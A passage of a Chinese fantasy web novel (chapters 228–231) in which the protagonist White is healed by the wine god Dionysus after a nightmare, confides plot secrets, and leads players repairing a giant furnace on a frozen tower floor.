white的手毫不留情地贯穿第二使徒的胸膛,缓缓掏出一颗莹亮的神核,放进自己的嘴里。 金色的血如雨而下,第二使徒凄厉的惨叫响彻天地。 人群仓惶奔走,四处都是尖叫、怒吼。 梦境的主人手脚冰凉,仿佛掉进寒冬腊月的冰窟窿,茫然又愤怒。 下一秒,制造出惨剧的白色撒旦从高空消失,一眨眼就出现在了他的面前。 对不起…… 那人贴在他耳边轻轻地说。 细听能感受到那人的尾音在止不住地颤抖,动手却如同剥离第二使徒的神核般决绝无情,将沾血的手缓缓伸入他的胸口。 梦境的主人猛然睁开眼,坐起身,捂着满是汗水的额头急促喘气。 “老五!” 身边有人在叫他。 他顿了顿,凶戾的眉眼顺势看了过去,白色神袍上罗马数字“六”的徽记在阳光下熠熠生辉。 第六使徒说:“老三传来消息,white已经进入黑塔了,你有什么想对他说的话吗?她可以帮我们带到。” 第五使徒摇了摇头,闭上眼。 良久,才用沙哑的嗓音说:“我只想让他也尝尝被掏出神核的滋味。” 第228章 成神进度:67% 青年眼前一黑,宛若断线风筝倒了下去,不清楚情况的希尔猝然一惊,连忙伸手去接:“white!” 比他更快的是青年脚下的影子。 黑色雾气蒸腾往上,在white摔到地上前凝成模糊的人影,平稳地接住了对方。 猝不及防的回忆冲击,影响的不止是一道分魂。 旁边的宴初一猛一摇晃,几乎要站不稳,脚下的影子同样一蹿两米高,及时将他抱在怀里。 从黑影身上传来与黑王一般无二的危险气息,像头被惊动后暴怒的怪物。 希尔浑身汗毛骤然炸开,惦记着人事不省的青年,下意识凝聚神力去抢人。 突然这时,他的胳膊上亮起一阵浅绿色的华美光晕。 鲜翠欲滴的葡萄藤从光芒中长出,蜿蜒向上,一把勒住希尔的手腕! 希尔愕然不解,唤出契约神祇的名讳:“狄俄尼索斯?” 应着这声呼唤,半透明的魂体自绿色华光中现身。 金色卷发,清秀俊美,头戴葡萄藤编织的冠冕。白皙脸颊染上一抹微醺迷醉的红晕,像慵懒伸腰的猫儿。 ——正是传说中奥林匹斯的十二主神之一,布施欢乐与慈爱的酒神,狄俄尼索斯。 受到黑王的身份限制,黑影没有释放出全部神威,所以希尔不清楚自己刚才差点大难临头。 但他冷静了下来,因为知道酒神不会无缘无故阻止他,再则是想起了谢叙白被带走的时候,另外两道分魂也没阻止——双方似乎是熟人。 可回头一见青年痛苦的样子,希尔又开始不淡定了,焦急地催促:“white的情况有点不对劲,你快看看他怎么样了!快点快点!” 狄俄尼索斯看着他,微微一笑,答应得很痛快:“好啊,亲爱的~” 下一秒祂挥动手里精致昂贵的金酒杯,邦的一声砸中希尔的脑门。 希尔抱头蹲身,痛得眼泪都差点要掉下来了:“oh!” 酒神还是那慵懒迷醉的语气:“——但请注意你的语气,可爱的眷属宝贝,就算是你,都不能用如此不敬的语气命令你的神祇。” 不再理会希尔,酒神凑到white的身前,仔细打量后,忍不住发出一声心疼的叹息:“噢,可怜的孩子,现在还被那时候的阴影困扰着。” 祂扬了扬手,莹莹神辉如种子洒向残败的焦土。 几乎是一眨眼,焦土长出大片茂密的绿草,一根散发着金色光晕的葡萄藤破土而出,表面晶莹剔透,美如玉石。 神藤最顶端部位的枝条延伸到酒神的手边,以肉眼可见的速度结出豆大的果实,半秒不到飞速成熟。 饱满的金色葡萄坠在枝条上,散出甜美诱人的果香。 酒神指尖一点,金色葡萄的表皮裂开一道口子,晶莹的汁水滴落,被祂用金杯接住。 仿佛产生某种神奇的变化,空无一物的杯底缓缓升起清冽的酒水。 酒液香醇,沁人心脾,朝四周蔓延开来。 守在几十米开外被屏蔽感知的徐队长等人,只是闻了一下,脸上便泛起醉酒般的陀红,眼神迷离,口舌生津,不断地吞咽口水:“好酒啊——” 连地上的青草似乎都为之倾倒,软软地醉塌下去一大片。 狄俄尼索斯怜爱地对青年说:“来,喝了这杯酒,从此以后不管是什么噩梦,都无法再困扰你。” 祂伸出手要掰起青年的下巴,结果还没碰上,就被黑雾给挡得严严实实。 黑雾接过金杯,另一只手微微用力,将青年紧紧闭合的嘴唇轻柔撬开,怕人被呛着,一杯酒分几次耐心地灌进去,最后仔细擦去对方沾在嘴角的酒渍。 狄俄尼索斯恋恋不舍地收回手,抱臂唏嘘道:“你的占有欲真是和以前一样可怕。” 祂忍不住对青年露出可惜的目光:“可怜的小美人,怕是再也享受不到和别人寻欢作乐的乐趣了。” 黑雾待到青年的痛苦平息下去,方才冷笑一声:“你当谁都是你?” 其他的神先不谈,古希腊诸神可是出了名的靡乱淫荡。 这家伙曾光明正大对谢叙白表示出浓厚的兴趣,甚至特意等到祂外出的时候偷偷给谢叙白抛去橄榄枝。 邪神没有和酒神见面就打,都是看在对方能帮谢叙白驱散梦魇的份上。 狄俄尼索斯没好气地白了祂一眼,不耐烦地伸手:“杯子还我。” 黑雾将酒杯上被青年碰过的地方反复擦上好几遍,磨得瓦光锃亮,随手丢了过去。 狄俄尼索斯见祂嫌弃得这么明显,敢怒不敢言。 酒液入了口中,瞬间化为一股浅绿泛金的神力流经青年的五脏六腑,再顺着分魂与主体的链接,流入谢叙白动荡不安的意识海深处,填补开裂的缝隙。 那些缝隙是谢叙白日渐累积的精神负荷,毕竟一个人再怎么坚强,也不可能轮回那么多世后毫发无伤。 以往他都忍耐着没有表现出来,直至希尔无意唤醒那段堪称禁忌的记忆,立马变得一发不可收拾。 疼痛、混乱、窒息。 意识变成一团浆糊,在剧烈的颠簸中散得稀碎。 谢叙白听到许多人的声音,有人在哭喊着求他住手,有人则对他发出愤怒绝望的咆哮。 他抬起头,想要看清楚那些面孔,结果眼前一阵昏花,不稳地摔了下去。 ——好痛。 ——胸口好痛。 像气球被塞在胸腔后还在不断地充气,每涨大一分,胸骨就朝外撑开一分,血肉皲裂,骨骼破碎,一点点被逼到极限,不知道什么时候就会轰然爆炸。 谢叙白死死地捂住胸口,蜷缩在地上,冷汗如瀑布直流,额角青筋暴跳,痛得不断拿额头嘭嘭撞地! 他抖着手给自己施加治愈术,因为疼得剧烈,试了好几次才成功。 可是治愈术居然不起作用! 谢叙白后知后觉地反应过来,那根本不是来自肉体的疼痛。 他听到骨骼被撑开的吱嘎乱响,其实是吸收过多神力后,灵魂在发出不堪重负的嗡鸣。 酸水一个劲儿上涌,作呕想吐,混着血的腥气在口腔蔓延,谢叙白指尖掐进肉里,几乎抖成个筛子。 比起疼痛,谢叙白其实更怕苦。 比如咖啡和中药。 比如有苦难言,受了委屈只能憋在心里,不能说出来。 可直击灵魂的疼也分程度,现在这种根本就不是一般人受得住的。 连被打磨得坚韧的灵魂,都忍不住在这场漫长的酷刑中发出一声绝望的泣音。 ——为什么我非要吸收神力不可? ——明明大家都已经跨过成神的门槛,拥有和外神直接对抗的一战之力了,为什么我还要忍受这样的痛苦? 嘈杂的人声越来越响,谢叙白满头大汗地看过去。 山川崩裂,河水翻涌。 坠落的火焰将农田和树林点燃,热浪扑面而来,燎烤皮肤。失去人造太阳的天空骤然黑暗,紫色雷霆狰狞地穿梭在空间裂缝中,轰隆隆响彻不绝。 一张张似曾相识的脸不敢置信地瞪着他,有人愤怒绝望,有人困惑痛苦。 还有清一色的、挥之不去的恐惧。 仿佛他不再是情同手足的战友,而是从地狱中爬出来的魔鬼。 谢叙白忽然感到莫大的恐惧。 这股恐惧,让他一瞬间连灵魂的剧痛都忽略了,颤抖地嚅嗫嘴唇。 别,别害怕我。 我这么做是有原因的,不是你们想象的那样…… 我可以解释…… 汗水混入湿润的双眼,蛰得视野模糊不清,谢叙白努力朝人群靠拢。 一切残桓断壁、疮痍焦土,苦得让他心头发涩、想要啜泣的滋味,好似都随着他往前踏出的这一步迅速褪色。 时光倒流,欢声笑语在耳边响起。 “white,等胜利之后你打算做什么?要不要来我的家乡。” “你那乱得像古罗马战场一样的地方也好邀请人去?来我这,贝加尔湖可是多次被誉为世界上最美的湖泊!” “你想去吗white?” 想。 我想—— 谢叙白忍不住伸出手,倏然被另一只手抓住。 沾着金色血液的羽毛从高空淅淅沥沥飘落,失去光彩,变得灰暗,像工厂喷出的白色灰烬。 被剥离神核的第二使徒痛苦咽气,身体后仰,逐渐涣散的瞳孔竭尽全力地转动着,氤氲水汽,直勾勾地看着谢叙白。 那眼神是歉意,是内疚。 亦是信任和托付。 安静空旷的作战室,谢叙白正独自一人模拟战局,忽然第二使徒匆忙出现,不由分说地抓住他,以自身神域为传送媒介,将他带到时空裂缝。 第二使徒抓住他的双臂,秘密传递的识念像是歇斯底里的嘶吼,压不住绝望。 【white,成神是陷阱!系统隐藏了规则!不能让大家成神!玩家不能成神!】 【我们必须找别的办法赢下游戏,可是,可是最终之战就要来了!没有时间了!】 夸嚓。 嬉笑打闹的声音在耳边轰然破碎,向往的阖家幸福如滚烫的热沙从指缝流走,掌中只剩下寂冷和虚无。 很长,又或许只是一瞬间的沉默后。 谢叙白平静稳重的识念与金光一并倾泻而出,安抚几欲崩溃的第二使徒。 【我和命运女神一直以来都有个猜想,加上你的能力,或许我们可以赌一把。】 【但是这个计划不能让系统发现,所以在成功之前不能透露给任何人。】 思绪如风飘回现实,火焰烧灼树木发出噼啪声响,恐怖的雷声震耳欲聋。 嘈杂的人声纷至沓来。 谢叙白痛苦地喘息两下,将酸水和涌到喉咙口的血液吞进肚子里,将手从剧痛的胸口放下来,闭上眼又睁开,迎上众人畏惧戒备和疏远的目光,蹒跚坚定地撑起身。 …… 清冽的酒液浸润口舌,过往梦魇像被一阵带着葡萄酒味的风吹散,唯有让人心旷神怡的甘甜留在胸腔,回味无穷。 white尚未睁开眼,就忍不住说了一句:“好甜……” 第229章 成神进度:67% “white!你终于醒了,感觉怎么样?”希尔惊喜地问道。 谢叙白双眼惺忪,还没来得及回答,忽然听到旁边传出一道悦耳矜傲的笑声。 “这是当然!” 酒神单手撩起鬓角的金色卷发,神光闪烁,另一手持着金杯往前,颇为陶醉地自夸道:“这可是我亲手酿造的世界上最甜美的葡萄酒!” 金杯再度蓄满清冽的酒液,端到谢叙白的面前,仿佛在叫他好生品鉴。 馥郁的酒香萦绕鼻前,似乎比梦中还要香甜醇厚。 想喝…… 尚有几分迷糊的青年喉头一滚,情不自禁地凑过去,微微张开嘴,去够杯沿晶莹的酒液。 陡然间他的眼前掠过一阵残影,原来是狄俄尼索斯将杯子抽了回去。 狄俄尼索斯一口喝完,亮出空酒杯,笑容颇带几分恶趣味:“可惜你还未踏入神级,贪杯可是会一睡不醒的哟,小美人~” 故意给看不给喝,这要是个气性大点的小孩,估计下一秒就要嚎得惊天动地。 黑雾冷冷地瞥向狄俄尼索斯,后者笑容一僵,轻咳两声恢复正经。 青年茫然的眼睛快速地眨了眨,很快恢复清明。 看见酒神现身,他微微有点惊讶,随后从黑雾怀里起身,右手放在胸前,左手下垂,不卑不亢地行了一个标准的觐见礼,正色道:“狄俄尼索斯(敬称时用的神语),谢谢您的慷慨相助。” 这一场梦境回溯,让谢叙白记起很多东西。 他明白那些杂乱的记忆能够融合得这么顺利,少不了酒神那杯葡萄酒的功劳,是以满怀感激。 不止是狄俄尼索斯,还有神祇五爪金龙。 在系统的限制下,金龙助他神力飞跃一大截究竟意味着什么,此前谢叙白并不是很清楚。 直至此时寻回记忆,他才知道自己承受了多么大的恩惠。 等会儿他一定要找徐队长再次联络金龙,郑重拜谢。 比起被谢叙白口头感谢,狄俄尼索斯更想邀请对方一起喝酒。 虽说东方人的五官不像西方人深邃立体,但也别有一番韵雅的风味。 白皙的肌肤不管出现什么痕迹都会非常明显,要是染上醉酒的陀红,一定是非常赏心悦目的场景~ 可惜有头不解风情的怪物在旁边虎视眈眈,祂只好遗憾作罢。 刚抬手,就顿了顿。 狄俄尼索斯看向手里的金酒杯,明明什么都没有做,却自动蓄满了酒液,琥珀般晶莹剔透。 这些酒水不是实物,而是谢叙白心中感激的具象化,类似眷属上供的信仰之力。 狄俄尼索斯看了谢叙白一眼,微微转动手腕,摇晃酒杯,带着挑剔的心情尝了一口。 初品如清泉,清甜却稍觉平淡。 只待再一细品,层次立马丰富细腻起来,深邃而迷人,余味悠长。 “oh……” 祂情不自禁地发出一声被打动的喟叹,双眸眯起,回味着某段令他怀念的过去:“太难得了,它让我想起了色雷斯人的狂欢庆典。” 少年时祂被誉为狂欢之神,游历四方时,会教农人如何种植葡萄和酿造美味的葡萄酒,无论他走到哪里,都会伴随着活泼的欢声笑语与动人的歌声。 人们不拘泥于凡俗礼节,将所有的烦恼抛在身后,一起在庆典上肆无忌惮地狂笑、跳舞、唱歌,如痴如醉。 不提后面的悲剧,祂其实很怀念当初游历在人世的岁月,还有那群可爱又不拘小节的信徒。 尽管狄俄尼索斯什么都没有说,但从祂的表情就能看出相当满意。 祂抬了下手指,金杯中剩下的酒液浮上天空,凝缩成一枚散着金光的葡萄种子,被祂收入袖中。 狄俄尼索斯又看向谢叙白,眯眼一笑,指尖隔空点了点对方的胸口。 谢叙白立马感觉到胸腔痒痒的,传开一阵甜美的香气。 种子在体内生根的触感非常明显,很快长出青翠欲滴的葡萄藤,细细长长,又朝着四方长开,宛若风一般轻柔,顺着经络延伸到五脏六腑和四肢百骸。 谢叙白知道酒神不会害自己,因此很淡定。 但当感受到自己体内和意识海变化时,仍旧不免惊喜地看向狄俄尼索斯。 不像被菟丝子寄生时榨干血肉,这些藤蔓竟然在源源不断地给他提供力量,成神进度一下子从62%跳到了67%! 狄俄尼索斯笑着解释说:“你的灵魂碎过一次,所以身体才会那么容易虚弱脱力,有这些葡萄藤填补那些裂缝,以后就再也不用担心体力不支的问题了,不过想要彻底解开限制,还是要等到你成神之后。” “顺便一提,藤蔓上的葡萄还能迷醉镇痛,如果你受伤后特别疼,那就掐碎一颗——不过我倒希望你永远都用不上它们。” 见谢叙白又张开嘴,祂竖起食指摇了摇:“不不不,不需要感谢,这是迟来的谢礼。” 狄俄尼索斯看向希尔,后者还在高兴谢叙白终于恢复精神,一点都没关注自家契约神祇苦恼头疼的样子。 狄俄尼索斯叹了口气,揉着胀痛的脑袋:“你也知道我这个眷属傻乎乎的,当初差点被恶人蛊惑成功。” 由于系统设下的重重限制,狄俄尼索斯不能主动干涉人类的信仰变化。 眼看希尔心里的想法日渐阴郁病态,即将踩中系统的圈套,祂忧心至极。 还好,最后有谢叙白及时出手,阴差阳错地帮希尔纠正了恶念。 要知道,狄俄尼索斯当初就是看中希尔在绝境中依旧活泼洒脱的个性,才会和他签订契约。 祂散漫随性,不想干涉眷属的自由。 所以在希尔嫌弃葡萄藤攻击力太弱选择菟丝子的时候,也任之由之。 哪想到拥有神力赐福的希尔,竟然差点堕落成怪物,比第一世还不如。 “如果希尔真的堕落,我会怀疑自己的好心是否酿造出了一场灾祸,还好没有出事。” 狄俄尼索斯靠近,探手在谢叙白毛茸茸的脑袋上揉了揉,对青年怜爱一笑:“总之多谢你了,小美人,重逢后看见你没事真是太好了。” “你的努力辛苦还有曾经受过的磨难,有众神看在眼里,我已经听到了祂们迫不及待与你相会的喃语。这一次,会有无数神祇像我一样为你开路,放心大胆地前进吧。” “至于现在,哈啊——” 狄俄尼索斯忍不住伸懒腰,捂着嘴打了个大大的哈欠。 就像金龙为谢叙白赐福后陷入沉寂,赠予完神力的祂也不由得被困意席卷。 “就让我好好睡一觉,等待你们带来胜利的好消息。虽然很抱歉,但一切交给你们了……” 说完话,祂便化作浅绿色的神光,与希尔胳膊上散发光芒的眷属徽记一同消退。 徒留希尔怔愣在原地。 半晌,忍不住摸了下手臂的眷属徽记:“……我居然都不知道。” 他很少见到自己的契约神祇,最深刻的印象,还是当初兴致勃勃扬言想要攻击性强的技能时,狄俄尼索斯对他投来无奈的一眼。 那一眼仿佛在看不懂事的孩子,希尔忍不住缩了缩脑袋,刚要改口,就看见祂笑了笑,抛洒神光,让藤蔓在他的体内自由发芽。 他以为自己不受重视,是被放养的信徒,却不知道狄俄尼索斯曾经为他的堕化忧心发愁。 他也不知道自己的契约神祇和其他诸神,与white的交情居然这么好,但这份交情并非走运。 它源于white背负着的某个担子,沉重、痛苦。连高坐云端见惯苍生疾苦的众神,都忍不住对青年生出恻隐之心。 而他跟在white身边这么久,竟然都没有发现。 希尔懊悔得无以复加,white刚才痛苦到痉挛的样子仿佛利器扎透心脏,痛得他直抽抽。 他忍不住想,自己当初到底在做什么?怎么能无知得这么彻底? 力量提升后,对他人的情绪感知也变得更加精准敏锐。 white毫不犹豫打断他过分的懊悔:“为了大局考虑,隐瞒真相是必须的,如果被你们发现端倪,那才是我的不称职和无能。我很庆幸当初的成功,你也犯不着自责或者为我难受。” 提起其他人,希尔猛然想起什么来,焦急提醒:“对了,你千万要小心老五!” “他和老四那只乌鸦都以为你背叛了人类,发誓要杀掉你。我们解释说你可能有苦衷,但他无论如何都不相信。” “游戏重启后老五就一直泡在试炼池里闭关,期间老六传来消息,说他的等级提升速度快到离奇和诡异,甚至在进入这场试炼前就已经有了突破成神的实力,刻意压制等级才没有晋升。” 希尔皱眉说:“但是,你知道这并不正常,因为老五的天赋……” 他没有说出口的三个字是:非常差。 天才和天才之间亦有差距,或许能得到神明青睐的老五在其他玩家眼里非常不得了,但在使徒公会,他属于中下那一等,就比最初资质平庸的white好上一点点。 white没说话,希尔看了眼他的脸色,试探性地说道:“你应该知道吧?玩家里出了很多反赎回派和灭世派。” “其中有个最著名的组织,组织成员随手就能掏出神级道具,实力提升速度和老五一样反常态,疑似归附系统,作弊后强行提升等级。” “而老五一直行踪不定,就连老六有时候也没法联系到他,所以我们一直怀疑,那个组织的首领很有可能就是……” white摇了摇头:“老五不会背叛我们。” 见他这么笃定,希尔张了张嘴,还是没有继续说下去。 老五给人的感觉非常具有反差感,熊的块头,虎的凶相,性子却像大地般厚重温和。 如果有公会成员在训练场过劳昏睡过去,第二天睁眼发现回到了自己的寝室,身上换了干净睡衣,原本的脏衣服也被洗干净晾在阳台,不用问,这个好心人肯定是老五。 white当初遭人排挤,老五是为数不多给过青年好脸色的人,也是年长的成员中最照顾white的那一个。 所以其他使徒怀疑,老五那么恨white,或许就是因为太在意,所以才接受不了任何疑似背叛的行为。 就像white此刻果断否决老五的背叛一样。 white:“当初的事,我会找老五解释清楚。” 不过以防老五听不进去话,见面就开打,他得先找到第十二使徒,代号【缄默的羔羊】,借用一下对方的能力。 恰巧希尔和第十二使徒一起进的副本,结伴同行到黑塔第一层分开。 从希尔口中得知小羊的下落后,white准备离开,临走前他看向希尔:“还有你第二个问题的答案,我给你们使用了精神屏障,所以你们才不会感到疼痛。” “……”希尔瞪大眼,“就这么简单?” ——谎话。 white无奈:“那你还想要多复杂?” ——谎话。 “至于老五,是我对不起他,第一次吞噬神核有点精神错乱,他紧跟着跑出来,离得最近,我便先对他下了手,没想起来给他使用精神屏障,他那么恨我是应该的。” ——谎话!谎话!谎话! 希尔内心痛苦地叫嚷着:那可是剥离神核,痛自灵魂,怎么可能用精神屏障就能轻松屏蔽?! 如果真的这么容易抹去,为什么你一听到那些事就会陷入难以自拔的噩梦,会表现得那么痛苦? 可希尔半点都没有表现出来,一脸恍然大悟不疑有他的样子:“原来是这样!” ——不要去问了,不要让white为难,深挖下去只会让所有人都痛苦,现在这样轻轻松松的不好吗? white和他对视片刻,仿佛若无其事地笑了笑:“战斗还没有结束,这里就交给你了。” “好!”希尔伸出手,朝外摊开,“击掌,祝你旗开得胜。” ——但我会永远地记住…… white低笑一声:“幼稚。” 随后伸出手,往他掌心不轻不重地拍了一下:“是祝我们所有人,旗开得胜。” 随后他转身,和徐济等人头也不回地离开,前往下一层级。 第230章 成神进度:70% 黑塔第二层。 呼呼—— 一阵寒风呼啸着扑面而来,风中还掺着粗粝的冰渣,砸在脸上刮擦皮肤,生疼。 几名玩家还没来得及看清楚这里长什么样子,就被冻得一个激灵。 放眼望去,白茫茫一片,街道大地被淹没在厚实的雪层中,整个世界都仿佛处于冰天雪地之下。 “这这这这是什么鬼地方,太冷了吧,阿嚏——!”重力玩家说话牙齿都打颤,抱着手臂抖成个筛子,张口喷出白雾。 他B级强度的身体居然会冷得这么狼狈,说明这里的地表温度起码低到了零下三四十度。 这要换成普通人穿着短袖站在这,早就冻得浑身上下没知觉,肌肉失温坏死了! 谢叙白轻微体虚,高冷高热环境对他来说都很要命。 致命寒气冲上脸颊的刹那,他似有预兆的肌肉收缩呼吸一滞,下意识想要使用精神力抵抗。 却没想到扎根体内的葡萄藤忽然摇身一晃,一股温暖的气息从内往外渗出,像透明的绒毛薄膜,覆盖在他的体表,完美隔绝环境带来的严寒。 正是此时,匆匆忙忙掏出附魔防寒装备的重力玩家仿佛看到什么不得了的东西,愕然高呼:“好大的火炉——” 第二层的布局和第一层似乎没什么区别。低矮的土瓦居民房四方排列,街道四通八达,接近中心区域传送塔的位置,建筑群巍峨屹立,层次分明,看得出来比第一层发展得更好一些。 也是在那片中心区域,屹立着一个巨大到一眼就能发现的圆柱形火炉,精钢制造,结构复杂。 半透明的检视窗口没有火焰燃起,被堆积成山的雪淹没,蒙上一层白霜。 整个世界安静得出奇,落雪仍旧在纷纷扬扬地下着,逐渐覆盖巨型铁炉的身体。 像是输送暖气的管道纵横交错,冰冷沉默地没入没有一点声息的楼房。 谢叙白的眼睛左右一扫,在瞄见某个树桩旁突起的轮廓时,眉头骤然紧蹙。 他挥出精神力,雪层飞散。 重力玩家张嘴震惊状,只因那雪下叠着好几具尸体。 血管破裂导致浑身青紫,皮肤僵硬泛着惨白死气。 尸体的手无一例外,均都扣在那半截树桩上,另一只手拿着斧头类的工具,死不瞑目地睁大眼睛,似乎临死前还想着挖起这半截树桩,烧火取暖。 意识到这点时,重力玩家骤然一个激灵,扭过头,果不其然没有在街道两旁看到一棵完整的树。 甚至再仔细一点,还能看见部分被烧毁大半的房屋,或许是因为大雪没能完全烧起来,徒留半边垮塌的屋顶和熏黑的墙壁。 到底是被逼到什么份上,才会绝望地烧家取暖,重力玩家想象不到,只觉得不寒而栗。 恰是这时,和队友们成功联络上的徐济急匆匆赶来:“找到人了,大家快过来!” 先一批进入的玩家早已在巅峰成员的有序安排下做好防寒保护,但这里的极寒似乎有规则效力,篝火点着没一会儿就灭,用屏障挡风也无济于事。 部分没有强化过身体的低等级玩家,特别是那些老人和小孩,就算用厚被子裹住身体,依然被冻得皮肤青紫,哆嗦个不停。 直至众人会合,谢叙白他们用神力帮大家护体,才稍微好上一些。 巅峰成员向徐济他们汇报最新探查到的线索。 他们找到了张贴在公示牌上的新闻报道,又去图书馆名人墙上搜索一通,将七七八八的信息整合在一起,基本可以断定极寒天气就是这一层的区域限制。 限制背景源于王国上层居民对大自然的过度开采,在推行重工业的途中不加节制地排放污染,导致全塔气候变暖,间接使得极地漩涡的冷冻风受到影响,无法得到有效控制,给黑塔中下层带来极端严寒的环境。 这一点,游戏降临前生活在澳洲地区的玩家深有体会,真的很难不骂骂咧咧。 为了解决这一危机,黑塔王国炼金工会的高级炼金术师们联合起来,终于锻造出神器“火山”——也就是外面那个巨大的火炉。 别管原理和内部构造是什么,总之只要火炉在持续不断地运作,暖气就会源源不断地输送到地底的管道中。 简单来说,就是给一整层的居住区都装上了地暖。 所以摆在眼前的问题很明显了。 管理维护“火山”的工厂或是这一层突然出现某个变故,导致“火山”没法正常运行,极寒天气骤然爆发,冻死一大批人。 重力玩家忍不住问:“到底是因为啥,有查出来吗?” 巅峰后勤组说道:“暴乱。” “什么?” “就是我们所在的这个工厂,在出入口的安检处、各个重要车间以及武器库,都有激烈争斗过的痕迹,火炉‘火山’的部分重要组件和运行系统遭到了恶意破坏。” “然后,我们在某些统一穿着黑袍的尸体身上搜到了一些宣传单,里面血字书写着‘推翻黑王独裁暴政’之类的口号,你们看。” 谢叙白他们接过宣传单。 正如巅峰成员所说,上面不留余地用各种激烈愤慨的言辞批判黑王的独断专横,大力呼吁王国公民们清醒过来,加入起义军,掀翻这肮脏腐烂的王权统治。 有玩家悻悻地摸了摸鼻子:“不知道为什么,我居然一点都不意外。” 就说他们还没进入游戏王国时,那些公民对黑王政权的疯魔程度,都能联想到整个王国的生存环境有多么病态。 压迫和反抗向来并步齐驱,长久的压抑下,当然诞生出一些起义分子,或明智大义,或疯狂极端。 许清然说:“先等一等,按照这个剧情走向,我们后期铁定要打黑王和起义军的阵营战,既然谢神和黑王是深交,黑王还帮我们降低了登塔难度,那是不是意味着我们得想办法提前加入黑王阵营?” 徐济摇头:“黑王在最高层,就算出现战争,也只会在中后期爆发,那些事都太早了。 当务之急是想办法尽快登塔,我们刚才去看了一眼,整个通道都被冰封住了,和黑塔一层大门同样的情况,有规则限制,用技能道具没法破封。” 许清然立时明悟:“所以要从外面的巨型火炉下手,让它重新运作起来?” 谢叙白一针见血地提点道:“工厂里的备用部件或许被破坏了,但进货商那里应该有存货或组装原件,去采购部门找找进货单,没找到的话就去厂长办公室、资料库翻档案。” 徐济附和:“还有中心区域行政楼,涉及机密要件一般都会在具备管理权的官员那里留档。” 重力玩家发愁:“但是我们不会炼金术该怎么办?” 谢叙白说道:“走一步看一步,这是游戏,不会安排无解的难题。” 旁边,得到神力护体的玩家们终于彻底缓了过来。 但有些人,甚至可以说大部分人,在恢复活力的时候,表情却称不上有多么放松和庆幸。 他们裹着被子,迷迷瞪瞪地听着谢叙白等人的讨论。 巅峰后勤组成员把事情说得很清楚,所以内容他们几乎都能听懂,思维也都跟得上。 可差距始终存在,比如他们需要顺着线索联想好半会儿才找到办法,谢叙白等人却能在得出结论后毫不犹豫地行动起来。 不免觉得空虚。 像他们这种低等级玩家,好似永远都没法拥有高级玩家所具备的决断力和执行力。 看着谢叙白等人匆忙奔走的背影,部分玩家心里忽然升起某个决定。 他们在私密频道商量许久,才发现大家或早或晚都产生过相同的念头。 等到谢叙白他们回来后,其中几名外国玩家举起手毛遂自荐:“嘿——!如果是炼金术,我们几个专修过,应该能帮上忙!” 这可真是意外之喜! 接下来的时间,所有玩家都为维修火炉“火山”这一目标齐心协力,力所能及地帮忙。 不得不说,只要没有人捣乱或偷懒摸鱼,群体协同合作真的能带来事半功倍的效果。 火炉顶层工架上的维修师用喇叭声嘶力竭地吼:“要启动了,都让开——!” 众人连忙将折叠梯和其他工具拿开,迅速撤退。 忽然听到轰的一声巨响,刺耳的嗡鸣声贯彻鼓膜。 人们仓促回头,看见巨大的防高温检视窗玻璃内,炙热的火焰如洪水般喷涌而出! 那场面真真如火炉的名字,火山喷发时一样震撼。暖气烧红管道,宛若烫红的岩浆朝着地底流淌,烟囱喷出灰尘,神似火山灰弥漫。 在高温的烤炙下,皑皑厚雪以肉眼可见的速度融化,街道、房屋,渐渐都露了出来,还原这一层级原本的样貌。 那炙热的红色倒映在众人的眼底,像火焰在他们心中熊熊燃烧。 ——他们终于顺利赶在天黑寒潮来临前,让火炉重新运作。 再之后。 徐队长惊讶地看着面前的大部分玩家:“你们不想走,为什么?” 为首的玩家默了默,尴尬地挠了挠脑袋:“这话说出来,或许你们会觉得很失望吧,但事实就是这样,登塔不需要那么多炮灰,我们也发挥不了什么作用。” “为什么要这么想,明明刚才……” “我们并不是害怕,也不是退缩,徐队长。刚才大家一起商量过,那些技术玩家会继续跟着你们前进,像我们这些能力一般的,老弱病残的,则留下来。” 玩家笑了笑:“听起来有点既要又要的味道,但想到你们战斗途中还要顾及我们的安危,心里挺不是滋味的。” “再者不是所有玩家都善于战斗或者玩游戏,马上就能赢下游戏了,谁都不想在这个紧要关头掉链子。” “而且我们也听到了,你们担心火炉再次出问题,极寒气温会像第一层爆发的污染源般蔓延到下一层级,影响整座黑塔,所以这不是正好吗?” “火炉太大,维修起来需要大量人力,我们留下来镇守这一层,你们这些在前线拼斗的人就不会再有后顾之忧。” 他以及身后的所有玩家,全都诚恳地看向谢叙白等人:“相信我们吧,我们也想要出一份力。” 徐队长似有触动。 身旁的宴初一忽然说:“他们是认真的,让他们留下来吧。只要我们一直往上走,解决掉那些可能流窜到底下的危险因素,他们会比向上闯关更安全。” 宴初一的话在队伍里一向很有分量,况且那些话不无道理。既然是他们反复商酌考虑后的决定,理当被人尊重。 坚持留下来的玩家松了口气,随后看向宴初一,眼中似有某种向往的情绪轻轻晃动。 他掩去心里的失落难受,凑到宴初一身边勾住人的肩膀,没想到大佬居然没躲。 于是他嘻嘻哈哈,状似不经意地开玩笑说:“唉,虽然是想力所能及地做到不拖后腿,但从结果来看更像是临阵脱逃,我们这群做啥啥一般的普通人,恐怕一辈子都没法得到神明的青睐吧?” 话音未落。 一阵忽然升起的金色光芒映入这群玩家的眼帘。 他们一时半会没能反应过来,直至某一刻骤然回神:不对啊,这光怎么是从斜下方照上来的? 恍惚中仿佛意识到什么。 空气变得很安静,加剧的心跳声撞击胸腔,众人血管喷张血液飞快流淌,不可置信地缓缓扭头,盯向显出神眷者徽记的手背。 瞳孔扩大! 虽然不是完整的神眷者徽记,整体半透明,但他们确实感受到了神力的流淌,以及—— 神明垂眸,投来温柔的注目。《 》 230-240 第231章 成神进度:70% 心惊肉跳的何止是这些玩家,就连早已接触过神祇契约的徐济等人,都忍不住盯着他们的神眷者徽记,满脸惊愕。 “这怎么可能?” 众所周知成为神眷者的条件极其苛刻,却不知道苛刻到什么地步。 就这么说吧,游戏进行到现在,此世记录在案的神眷者人数,甚至不超过三十。 ——三亿人里不超过三十,真真正正的万里挑一。 而现在居然一次性出现了几十个神眷者,简直闻所未闻! 徐济忍不住看了下神龙徽记。 这世上几乎所有的神祇与神眷者都是直线对接,唯有五爪金龙可分散力量,施加群体赐福。 即会长一人契约金龙,就能让公会的主要干部都得到庇护,成为【神眷从属者】。 大有“一人得道庇佑四方”的意蕴。 所以徐济虽然拥有徽记,却不是神级玩家。 没有对比就没有伤害。 看见眼前这群玩家没经历过重重考验或表现突出,只是自嘲地感慨两句,就能得到谢叙白的青睐,徐济想到自己勤勤恳恳努力至今,也没能成为正儿八经的神龙眷属,难免一阵心塞。 正这么想时,另一只手忽然散发出柔和的金光。 